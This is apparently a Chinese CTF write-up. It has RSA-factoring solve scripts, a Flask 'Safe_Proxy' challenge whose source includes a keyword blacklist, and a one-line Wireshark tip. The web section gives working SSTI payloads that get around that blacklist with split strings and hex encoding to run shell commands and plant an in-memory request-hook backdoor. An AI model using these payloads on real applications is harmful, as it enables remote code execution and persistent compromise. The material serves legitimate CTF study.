今年 Crypto 和 Web 都出了一题,比去年爆零有进步吧。
Crypto rasnd apbq+Crypto Lost_N 两道原题拼起来的
from tqdm import tqdmimport itertoolsimport gmpy2from Crypto.Util.number import *hints = [ 2557457392940293500328359806873861875519711481607248554411143012708460425506405789861902031579370061977302000223121866368860022598772849341765291528563673049510720538970173102917163952881804952885006117660936455147884466194798547196954808660958447621515897160217807304714379022277335659774178828521743187603819725393042228215840466110421890974 + 0x114 , 116295189092619963082902515366717554600549607012427171423085625874290045323933400485296666515430155868196222996791749346284352905864283845948708574810913619298848897491790626621390599735516170691148595355670350984178660367914739924363764513926090718641605753288702666184926577428156828631556507126922052875637495536206815385499444800465432852627404959899113672056659625780674323760035826622873691200487204379128102684960705926490338301444566387462457750081546919 + 0x514 , ] n = 20806169591531852535748465724228648360578231312887226007313004321781244544591722736912461242351409048602920851558150388726657424005676834728977344468751844526125821029164446885764293791657556136110856902679276161205982713931546310002086537632479547320731001845444387665995580877305481273832226754581987095693788901842328627715428608352767249841930285031357514559169082374339482225473027760245720853784538107370565108979115083390982931240869875045901257621854864904889398765582177650568113189257542481290798798524973730181435458613460739132020093706531929423703793591341633478130997904916596385519593671702268702134087 c = 536010476606635653312788231923076931516462049139210471564909569926405559656638584793612712974721373330580097241624607902861852803583583759683666747875998365735184555964371456855603421787147579992045110220401874570382192138429435829202111482921785987286121754193943724097709711208055715614082672182211905307787395657956826340138960818056336726833036377862997120529421725722181193122397978189573254114044284740849367707617697793561043893746701612789751579517731707978708880198450398476854383433318794224254767398690676674110968900647218058795428209939053198996801584171887829356729227782668483836785995104071375473924 for a1, a2 in tqdm(list (itertools.product(range (2 **13 ), repeat=2 ))): kp = gmpy2.gcd(a1 * hints[0 ] - a2 * hints[1 ], n) if 1 < kp < n: print ("find!" , kp, a1, a2) break for i in range (2 **16 , 1 , -1 ): if kp % i == 0 : kp //= i p = kp q = n // p assert p * q == nphi = (p - 1 ) * (q - 1 ) e = 65537 d = inverse(e, phi) m = pow (c, d, n) flag1 = long_to_bytes(m) print (flag1)from Crypto.Util.number import *import gmpy2from sympy import *n = 23262732293229358083313763688306829836026670165087916086734561278396678241656458879545705186386284765797310589032803382841089305568228218217057507039263725250850342614633405534978808661467954778754379627585945536520928291619157856751168742864329379308816486254463786631277756799513534040865320357262030289788808490091504548809535320786222530782821959793700739184806991653308394782496608798380161960610159584907715384807909956187291164062938469312837265779657671191858515277752125826457413348844289649434936315736918853367893641335376476456279899321360423503025949635226339892436658767405548381713247310078003468242087 c = 4554147243203351412015416542723152157451446348473858599235336912806129388411845156169568228915682438875407840298551630375082918363157925212724376617282161999033871732791337125028044639486045779799567856238632278457670563486477304329354135108110255019457724889864855423777350694858938327475420669238460694686802205335443757093204076245363697160620221919252287389118330667371353238798143184745221804992220835755648831999827803338959219319297206305500882971292800010027082836350543680491062048276792723896580393712631162079863135915524226438979820043808097059331411472786135304531385863672347267254031863634786717096518 s = 292600782611894602100843370703499439990421550481170386599544938001831324046610358243795343135278824047366453021333025829867150543221759315172622082462644013075786057427322676095295000499594613657120910064112175384534918697853968943745652152045720821909817027427167284881559799883981197088905517932666403864547076024853674620321957678979670416395826054959008683030881806347418552961917423765948727075011053296514981084140118634409054379971680502361388294185032175816323686808183929151995563777112405386898759047885828705769312865992008914758408654963885468459423737972654094097229055829797885363200129459707182512850 e = 65537 m1 = gmpy2.invert(s, n) p, q = symbols("p q" ) eq = [p * q - n, 514 * p - 114 * q - m1] result = nonlinsolve(eq, [p, q]) result = list (result) p, q = int (result[1 ][0 ]), int (result[1 ][1 ]) phi = (p - 1 ) * (q - 1 ) d = gmpy2.invert(e, phi) m = pow (c, d, n) flag2 = long_to_bytes(m) print (flag2)flag = flag1 + flag2 print (flag)
Web Safe_Proxy 题目给了源码
from flask import Flask, request, render_template_stringimport socketimport threadingimport htmlapp = Flask(__name__) @app.route("/" , methods=["GET" ] ) def source (): with open (__file__, "r" , encoding="utf-8" ) as f: return "<pre>" + html.escape(f.read()) + "</pre>" @app.route("/" , methods=["POST" ] ) def template (): template_code = request.form.get("code" ) blacklist = [ "__" , "import" , "os" , "sys" , "eval" , "subprocess" , "popen" , "system" , "\r" , "\n" , ] for black in blacklist: if black in template_code: return "Forbidden content detected!" + black result = render_template_string(template_code) print (result) return "ok" if result is not None else "error" class HTTPProxyHandler : def __init__ (self, target_host, target_port ): self .target_host = target_host self .target_port = target_port def handle_request (self, client_socket ): try : request_data = b"" while True : chunk = client_socket.recv(4096 ) request_data += chunk if len (chunk) < 4096 : break if not request_data: client_socket.close() return with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket: proxy_socket.connect((self .target_host, self .target_port)) proxy_socket.sendall(request_data) response_data = b"" while True : chunk = proxy_socket.recv(4096 ) if not chunk: break response_data += chunk header_end = response_data.rfind(b"\r\n\r\n" ) if header_end != -1 : body = response_data[header_end + 4 :] else : body = response_data response_body = body response = ( b"HTTP/1.1 200 OK\r\n" b"Content-Length: " + str (len (response_body)).encode() + b"\r\n" b"Content-Type: text/html; charset=utf-8\r\n" b"\r\n" + response_body ) client_socket.sendall(response) except Exception as e: print (f"Proxy Error: {e} " ) finally : client_socket.close() def start_proxy_server (host, port, target_host, target_port ): proxy_handler = HTTPProxyHandler(target_host, target_port) server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((host, port)) server_socket.listen(100 ) print ( f"Proxy server is running on {host} :{port} and forwarding to {target_host} :{target_port} ..." ) try : while True : client_socket, addr = server_socket.accept() print (f"Connection from {addr} " ) thread = threading.Thread( target=proxy_handler.handle_request, args=(client_socket,) ) thread.daemon = True thread.start() except KeyboardInterrupt: print ("Shutting down proxy server..." ) finally : server_socket.close() def run_flask_app (): app.run(debug=False , host="127.0.0.1" , port=5000 ) if __name__ == "__main__" : proxy_host = "0.0.0.0" proxy_port = 5001 target_host = "127.0.0.1" target_port = 5000 proxy_thread = threading.Thread( target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port), ) proxy_thread.daemon = True proxy_thread.start() print ("Starting Flask app..." ) run_flask_app()
render_template_string 类型是典型的 SSTI,题目不出网导致无法反弹 shell 带出,可谓 RCE 了却只能干瞪眼。 思路很多。盲注,写内存马,设置静态目录写文件应该都可以。https://blog.csdn.net/2301_80148821/article/details/143237394 利用这里的 before_function 钩子函数写内存马 理论上一个 16 进制能绕过所有过滤。这里为了可读性改了一下
{{self['_''_init_''_']['_''_globals_''_']['_''_builtins_''_']['ev''al']("_""_imp""ort_""_('o''s').popen('whoami').read()")}}
eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /flag').read())")
最终payload:
{{self['_''_init_''_']['_''_globals_''_']['_''_builtins_''_']['ev''al']("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x73\x79\x73\x27\x29\x2e\x6d\x6f\x64\x75\x6c\x65\x73\x5b\x27\x5f\x5f\x6d\x61\x69\x6e\x5f\x5f\x27\x5d\x2e\x5f\x5f\x64\x69\x63\x74\x5f\x5f\x5b\x27\x61\x70\x70\x27\x5d\x2e\x62\x65\x66\x6f\x72\x65\x5f\x72\x65\x71\x75\x65\x73\x74\x5f\x66\x75\x6e\x63\x73\x2e\x73\x65\x74\x64\x65\x66\x61\x75\x6c\x74\x28\x4e\x6f\x6e\x65\x2c\x5b\x5d\x29\x2e\x61\x70\x70\x65\x6e\x64\x28\x6c\x61\x6d\x62\x64\x61\x20\x3a\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x27\x29\x2e\x72\x65\x61\x64\x28\x29\x29")}}
流量题 zeroshell_1 wireshark 直接搜 Zmxh 就拿到 flag